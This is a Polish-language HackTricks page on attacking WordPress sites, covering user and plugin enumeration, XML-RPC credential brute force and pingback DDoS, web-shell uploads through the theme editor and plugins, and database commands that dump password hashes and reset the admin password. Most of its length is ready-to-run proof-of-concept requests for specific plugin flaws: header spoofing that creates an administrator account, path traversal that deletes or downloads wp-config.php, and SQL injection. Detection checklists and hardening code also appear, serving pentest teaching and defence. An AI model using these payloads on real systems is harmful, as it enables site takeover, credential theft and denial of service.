Wordpress

Reading time: 24 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Basic Information

  • Uploaded pliki trafiają do: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Pliki motywów znajdują się w /wp-content/themes/, więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: używając theme twentytwelve możesz uzyskać dostęp do pliku 404.php w: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • W wp-config.php możesz znaleźć hasło roota bazy danych.

  • Domyślne ścieżki logowania do sprawdzenia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt zawiera przydatne informacje, takie jak zainstalowana wersja WordPressa.
  • wp-activate.php jest używany w procesie aktywacji przez e-mail podczas zakładania nowej witryny WordPress.
  • Foldery logowania (mogą być przemianowane, aby je ukryć):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych przy użyciu HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten sposób komunikacji został zastąpiony przez WordPress REST API.
  • Folder wp-content jest głównym katalogiem, w którym przechowywane są wtyczki i motywy.
  • wp-content/uploads/ to katalog, w którym przechowywane są wszystkie pliki przesłane do platformy.
  • wp-includes/ to katalog, w którym znajdują się pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widgety.
  • wp-sitemap.xml W wersjach WordPress 5.5 i nowszych, WordPress generuje plik mapy witryny XML zawierający wszystkie publiczne wpisy oraz publicznie zapytalne typy wpisów i taksonomie.

Post exploitation

  • Plik wp-config.php zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salta oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów.

Uprawnienia użytkowników

  • Administrator
  • Editor: Publikuje i zarządza swoimi oraz cudzymi wpisami
  • Author: Publikuje i zarządza własnymi wpisami
  • Contributor: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
  • Subscriber: Przegląda wpisy i edytuje swój profil

Passive Enumeration

Sprawdzenie wersji WordPressa

Sprawdź, czy możesz znaleźć pliki /license.txt lub /readme.html

W kodzie źródłowym strony (przykład z https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Pliki linków CSS

  • Pliki JavaScript

Pobierz wtyczki

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Pobierz motywy

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Wyodrębnianie wersji — ogólnie

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktywna enumeracja

Wtyczki i motywy

Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych wtyczek i motywów. Aby odkryć wszystkie, będziesz musiał aktywnie Brute Force listę wtyczek i motywów (miejmy nadzieję, że istnieją automatyczne narzędzia, które zawierają te listy).

Użytkownicy

  • ID Brute: Otrzymujesz prawidłowych użytkowników z serwisu WordPress przez Brute Forcing ID użytkowników:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Jeśli odpowiedzi mają status 200 lub 30X, oznacza to, że id jest prawidłowe. Jeśli odpowiedź to 400, wtedy id jest nieprawidłowe.

  • wp-json: Możesz także spróbować uzyskać informacje o użytkownikach, zapytując:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Inny endpoint /wp-json/, który może ujawnić pewne informacje o użytkownikach, to:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną.

Zauważ także, że /wp-json/wp/v2/pages może prowadzić do leak adresów IP.

  • Login username enumeration: Podczas logowania się przez /wp-login.php komunikat (message) jest inny w zależności od tego, czy wskazany username istnieje, czy nie.

XML-RPC

Jeśli xml-rpc.php jest aktywne, możesz wykonać credentials brute-force lub użyć go do uruchamiania DoS ataków na inne zasoby. (Możesz zautomatyzować ten proces using this na przykład).

Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do /xmlrpc.php i wyślij takie żądanie:

Sprawdź

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories lub metaWeblog.getUsersBlogs są niektórymi metodami, które można wykorzystać do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Komunikat "Incorrect username or password" w odpowiedzi z kodem 200 powinien pojawić się, jeśli poświadczenia nie są poprawne.

Używając poprawnych poświadczeń możesz przesłać plik. W odpowiedzi pojawi się ścieżka (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

Omijanie 2FA

Metoda ta jest przeznaczona dla programów, nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Więc jeśli masz ważne creds, ale główne logowanie jest chronione 2FA, możesz być w stanie nadużyć xmlrpc.php, aby zalogować się tymi creds omijając 2FA. Zauważ, że nie będziesz w stanie wykonać wszystkich akcji, które możesz wykonać przez konsolę, ale nadal możesz uzyskać RCE, jak wyjaśnia Ippsec w https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress przeprowadzić skanowanie jakiejś wewnętrznej sieci (możesz wskazać dowolny port).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Jeśli otrzymasz faultCode o wartości większej niż 0 (17), oznacza to, że port jest otwarty.

Zobacz użycie system.multicall w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, by spowodować DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ten plik zwykle znajduje się w katalogu głównym strony WordPress: /wp-cron.php
Po uzyskaniu dostępu do tego pliku wykonywane jest "ciężkie" zapytanie MySQL (query), więc może być użyty przez atakujących do spowodowania DoS.
Ponadto, domyślnie wp-cron.php jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony WordPress), co na stronach o dużym ruchu może powodować problemy (DoS).

Zaleca się wyłączenie Wp-Cron i utworzenie rzeczywistego cronjob na hoście, który będzie wykonywał potrzebne akcje w regularnych odstępach (bez powodowania problemów).

/wp-json/oembed/1.0/proxy - SSRF

Spróbuj uzyskać dostęp do https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net a strona Worpress może wykonać żądanie do Ciebie.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

To narzędzie sprawdza, czy istnieje methodName: pingback.ping oraz ścieżka /wp-json/oembed/1.0/proxy, i jeśli tak, próbuje je wykorzystać.

Automatyczne narzędzia

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Uzyskaj dostęp przez nadpisanie jednego bitu

To bardziej ciekawostka niż prawdziwy atak. W CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man można było przełączyć 1 bit w dowolnym pliku wordpress. Można było więc zmienić bit na pozycji 5389 w pliku /var/www/html/wp-includes/user.php, aby zamienić operację NOT (!) na NOP.

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modyfikacja pliku php w używanym motywie (wymagane dane logowania administratora)

Appearance → Theme Editor → 404 Template (at the right)

Zmień zawartość na php shell:

Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Możesz użyć:

bash
use exploit/unix/webapp/wp_admin_shell_upload

aby uzyskać sesję.

Plugin RCE

PHP plugin

Może być możliwe przesłanie plików .php jako plugin.
Utwórz swój php backdoor na przykład używając:

Następnie dodaj nowy plugin:

Wgraj plugin i naciśnij Install Now:

Kliknij na Procced:

Prawdopodobnie nic się pozornie nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:

Otwórz go — zobaczysz URL do wykonania reverse shell:

Wgrywanie i aktywacja złośliwego pluginu

Ta metoda polega na instalacji złośliwego pluginu znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces przebiega przez WordPress dashboard w następujący sposób:

  1. Plugin Acquisition: Plugin jest pobierany ze źródła takiego jak Exploit DB, np. here.
  2. Plugin Installation:
  • Przejdź do WordPress dashboard, następnie do Dashboard > Plugins > Upload Plugin.
  • Wgraj plik zip pobranego pluginu.
  1. Plugin Activation: Po pomyślnej instalacji plugin musi zostać aktywowany z poziomu dashboardu.
  2. Exploitation:
  • Ze zainstalowanym i aktywowanym pluginem "reflex-gallery" można go wykorzystać, ponieważ jest znany z podatności.
  • Metasploit framework dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do serwisu.
  • Należy pamiętać, że to tylko jedna z wielu metod wykorzystania WordPressa.

Treść zawiera ilustracje pokazujące kroki w WordPress dashboard podczas instalacji i aktywacji pluginu. Jednak ważne jest, aby pamiętać, że wykorzystywanie luk w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

Z XSS do RCE

  • WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Privilege Escalation: Creates an user in WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Upload your custom plugin (backdoor) to WordPress.
  • (RCE) Built-In Plugin Edit: Edit a Built-In Plugins in WordPress.
  • (RCE) Built-In Theme Edit: Edit a Built-In Themes in WordPress.
  • (Custom) Custom Exploits: Custom Exploits for Third-Party WordPress Plugins/Themes.

Post Exploitation

Wyodrębnij nazwy użytkowników i hasła:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Zmień hasło administratora:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Wtyczki Pentest

Powierzchnia ataku

Znajomość sposobów, w jaki wtyczka Wordpress może ujawnić funkcjonalność, jest kluczowa do znalezienia luk w tej funkcjonalności. Możesz znaleźć, w jaki sposób wtyczka może ujawniać funkcjonalność, w poniższych punktach oraz kilka przykładów podatnych wtyczek w this blog post.

  • wp_ajax

Jednym ze sposobów, w jaki wtyczka może udostępnić funkcje użytkownikom, są handlery AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, który każdy uwierzytelniony użytkownik w instancji Wordpress może posiadać (niezależnie od roli).

Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Użycie nopriv sprawia, że endpoint jest dostępny dla dowolnych użytkowników (nawet niezalogowanych).

caution

Ponadto, jeżeli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji wp_verify_nonce, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany — zazwyczaj nie weryfikuje roli użytkownika. W związku z tym użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji o wysokich uprawnieniach.

  • REST API

It's also possible to expose functions from wordpress registering a rest AP using the register_rest_route function:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback to callback do funkcji, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.

Jeżeli użyta zostanie wbudowana funkcja __return_true, po prostu pominie ona sprawdzenie uprawnień użytkownika.

  • Bezpośredni dostęp do pliku php

Oczywiście Wordpress używa PHP, a pliki w ramach pluginów są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest uruchamiana po samym dostępie do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Niektóre wtyczki implementują skróty „trusted header” dla integracji wewnętrznych lub reverse proxy, a następnie używają tego nagłówka do ustawienia kontekstu aktualnego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent nadrzędny, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.

  • Skutek: eskalacja uprawnień bez uwierzytelnienia do administratora poprzez utworzenie nowego konta administratora za pomocą podstawowej trasy REST users.
  • Przykładowy nagłówek: X-Wcpay-Platform-Checkout-User: 1 (wymusza ID użytkownika 1, zwykle pierwsze konto administratora).
  • Wykorzystywana trasa: POST /wp-json/wp/v2/users z tablicą zawierającą rolę o podwyższonych uprawnieniach.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Dlaczego to działa

  • Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzenia uprawnień.
  • Rdzeń WordPress oczekuje uprawnienia create_users dla tej ścieżki; wtyczka omija to poprzez bezpośrednie ustawienie kontekstu bieżącego użytkownika z nagłówka.

Oczekiwane wskaźniki sukcesu

  • HTTP 201 z ciałem JSON opisującym utworzonego użytkownika.
  • Nowe konto administratora widoczne w wp-admin/users.php.

Lista kontrolna wykrywania

  • Przeszukaj (grep) getallheaders(), $_SERVER['HTTP_...'], lub vendor SDKs które odczytują niestandardowe nagłówki, aby ustawić kontekst użytkownika (np. wp_set_current_user(), wp_set_auth_cookie()).
  • Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń permission_callback i zamiast tego polegają na nagłówkach żądania.
  • Szukaj użyć funkcji zarządzania użytkownikami rdzenia (wp_insert_user, wp_create_user) wewnątrz handlerów REST, które są zabezpieczone jedynie wartościami nagłówków.

Wzmocnienie

  • Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta.
  • Jeśli reverse proxy musi wstrzyknąć tożsamość, zakończ zaufanie przy proxy i usuń przychodzące kopie (np. unset X-Wcpay-Platform-Checkout-User na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera.
  • Dla REST routes wykonujących uprzywilejowane akcje wymagaj sprawdzeń current_user_can() i rygorystycznego permission_callback (NIE używaj __return_true).
  • Preferuj autentykację pierwszej strony (cookies, application passwords, OAuth) zamiast nagłówkowego „podszywania się”.

Referencje: zobacz linki na końcu tej strony dotyczące publicznego przypadku i szerszej analizy.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), and
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), and
  3. Strict input sanitisation / validation.

The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Issues introduced by this snippet:

  • Unauthenticated access – the wp_ajax_nopriv_ hook is registered.
  • No nonce / capability check – any visitor can hit the endpoint.
  • No path sanitisation – the user–controlled fontfamily string is concatenated to a filesystem path without filtering, allowing classic ../../ traversal.

Wykorzystanie

Atakujący może usunąć dowolny plik lub katalog poniżej katalogu bazowego uploads (normally <wp-root>/wp-content/uploads/) by sending a single HTTP POST request:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Ponieważ wp-config.php znajduje się poza uploads, cztery sekwencje ../ wystarczą na domyślnej instalacji. Usunięcie wp-config.php zmusza WordPress do uruchomienia kreatora instalacji przy następnej wizycie, umożliwiając całkowite przejęcie strony (atakujący jedynie dostarcza nową konfigurację bazy danych i tworzy konto administratora).

Inne istotne cele to pliki .php wtyczek/motywów (aby uszkodzić wtyczki zabezpieczające) lub reguły .htaccess.

Lista kontrolna wykrywania

  • Każdy callback add_action( 'wp_ajax_nopriv_...') który wywołuje helpery systemu plików (copy(), unlink(), $wp_filesystem->delete(), itd.).
  • Łączenie niesanitizowanych danych wejściowych użytkownika w ścieżkach (szukaj $_POST, $_GET, $_REQUEST).
  • Brak check_ajax_referer() oraz current_user_can()/is_user_logged_in().

Wzmocnienie

php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

tip

Zawsze traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i podwójnie sprawdź: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath() plus str_starts_with()).


Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Wiele wtyczek implementuje funkcję "view as role" lub tymczasowej zmiany roli, zapisując oryginalne role w user meta, aby można je było później przywrócić. Jeśli ścieżka przywracania opiera się tylko na parametrach żądania (np. $_REQUEST['reset-for']) i liście utrzymywanej przez wtyczkę bez sprawdzenia capabilities i ważnego nonce, staje się to vertical privilege escalation.

Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź reset przywracała role na podstawie reset-for=<username> jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy $options['viewing_admin_as_role_are'], ale nie wykonywała ani sprawdzenia current_user_can() ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Dlaczego to jest podatne na atak

  • Polega na zaufaniu do $_REQUEST['reset-for'] i opcji pluginu bez autoryzacji po stronie serwera.
  • Jeśli użytkownik miał wcześniej wyższe uprawnienia zapisane w _asenha_view_admin_as_original_roles i został zdegradowany, może je przywrócić, odwiedzając ścieżkę resetu.
  • W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł spowodować reset dla innej nazwy użytkownika nadal obecnej w viewing_admin_as_role_are (błędna autoryzacja).

Wymagania wstępne ataku

  • Wrażliwa wersja pluginu z włączoną funkcją.
  • Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
  • Dowolna uwierzytelniona sesja; brak nonce/capability w przebiegu resetu.

Wykorzystanie (przykład)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Na podatnych buildach usuwa to bieżące role i ponownie dodaje zapisane „oryginalne role” (np. administrator), skutecznie eskalując uprawnienia.

Detection checklist

  • Szukaj funkcji przełączania ról, które przechowują „oryginalne role” w meta użytkownika (np. _asenha_view_admin_as_original_roles).
  • Zidentyfikuj ścieżki resetowania/przywracania, które:
  • Odczytują nazwy użytkowników z $_REQUEST / $_GET / $_POST.
  • Modyfikują role za pomocą add_role() / remove_role() bez current_user_can() i wp_verify_nonce() / check_admin_referer().
  • Autoryzują na podstawie tablicy opcji pluginu (np. viewing_admin_as_role_are) zamiast na podstawie uprawnień aktora.

Hardening

  • Wymuś sprawdzenia uprawnień przy każdym odgałęzieniu zmieniającym stan (np. current_user_can('manage_options') lub bardziej restrykcyjne).
  • Wymagaj nonces dla wszystkich zmian ról/uprawnień i weryfikuj je: check_admin_referer() / wp_verify_nonce().
  • Nigdy nie ufaj nazwom użytkowników dostarczanym w żądaniu; rozstrzygaj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego aktora i jawnej polityki.
  • Unieważniaj stan „oryginalnych ról” przy aktualizacjach profilu/ról, aby uniknąć przywrócenia przestarzałych uprzywilejowań:
php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
  • Rozważ przechowywanie minimalnego stanu i używanie ograniczonych czasowo, zabezpieczonych uprawnieniami tokenów do tymczasowych przełączeń ról.

Uwagi dotyczące WAF dla WordPress/plugin CVEs

Ogólne WAFy edge/server są dostrojone do wykrywania szerokich wzorców (SQLi, XSS, LFI). Wiele podatności o dużym wpływie w WordPress/plugin to błędy logiki lub autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, jeśli silnik nie rozumie ścieżek WordPress i semantyki pluginów.

Offensive notes

  • Celuj w endpointy specyficzne dla pluginów, używając czystych payloadów: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Najpierw sprawdź ścieżki nieautoryzowane (AJAX nopriv, REST z permisywnym permission_callback, public shortcodes). Domyślne payloady często działają bez obfuskacji.
  • Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), dowolne przesyłanie/pobieranie plików, LFI, open redirect.

Defensive notes

  • Nie polegaj na ogólnych sygnaturach WAF, aby chronić przed plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, albo szybko aktualizuj.
  • Preferuj kontrole positive-security w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.

Ochrona WordPress

Regularne aktualizacje

Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ponadto, instaluj tylko zaufane wtyczki i motywy WordPress.

Wtyczki bezpieczeństwa

Inne zalecenia

  • Usuń domyślnego użytkownika admin
  • Używaj silnych haseł i 2FA
  • Okresowo przeglądaj uprawnienia użytkowników
  • Ogranicz liczbę prób logowania, aby zapobiec atakom Brute Force
  • Zmień nazwę pliku wp-admin.php i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.

SQL Injection bez uwierzytelnienia z powodu niewystarczającej walidacji (WP Job Portal <= 2.3.2)

Wtyczka rekrutacyjna WP Job Portal ujawniała zadanie savecategory, które ostatecznie wykonuje następujący podatny kod w modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problemy wprowadzone przez ten fragment:

  1. Nieprzefiltrowane dane wejścioweparentid pochodzi bezpośrednio z żądania HTTP.
  2. Konkatenacja łańcuchów w klauzuli WHERE – brak is_numeric() / esc_sql() / prepared statement.
  3. Możliwość wywołania bez uwierzytelnienia – chociaż akcja jest wykonywana przez admin-post.php, jedyną weryfikacją jest CSRF nonce (wp_verify_nonce()), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode [wpjobportal_my_resumes].

Eksploatacja

  1. Pobierz świeży nonce:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Wstrzyknij dowolne SQL przez nadużycie parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Kolejne zadanie, downloadcustomfile, pozwalało odwiedzającym pobrać dowolny plik z dysku poprzez path traversal. Wrażliwy sink znajduje się w modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name jest kontrolowany przez atakującego i konkatenowany bez sanitacji. Ponownie, jedyną barierą jest CSRF nonce, który można pobrać ze strony z CV.

Eksploatacja

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Serwer zwraca zawartość wp-config.php, leaking DB credentials and auth keys.

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks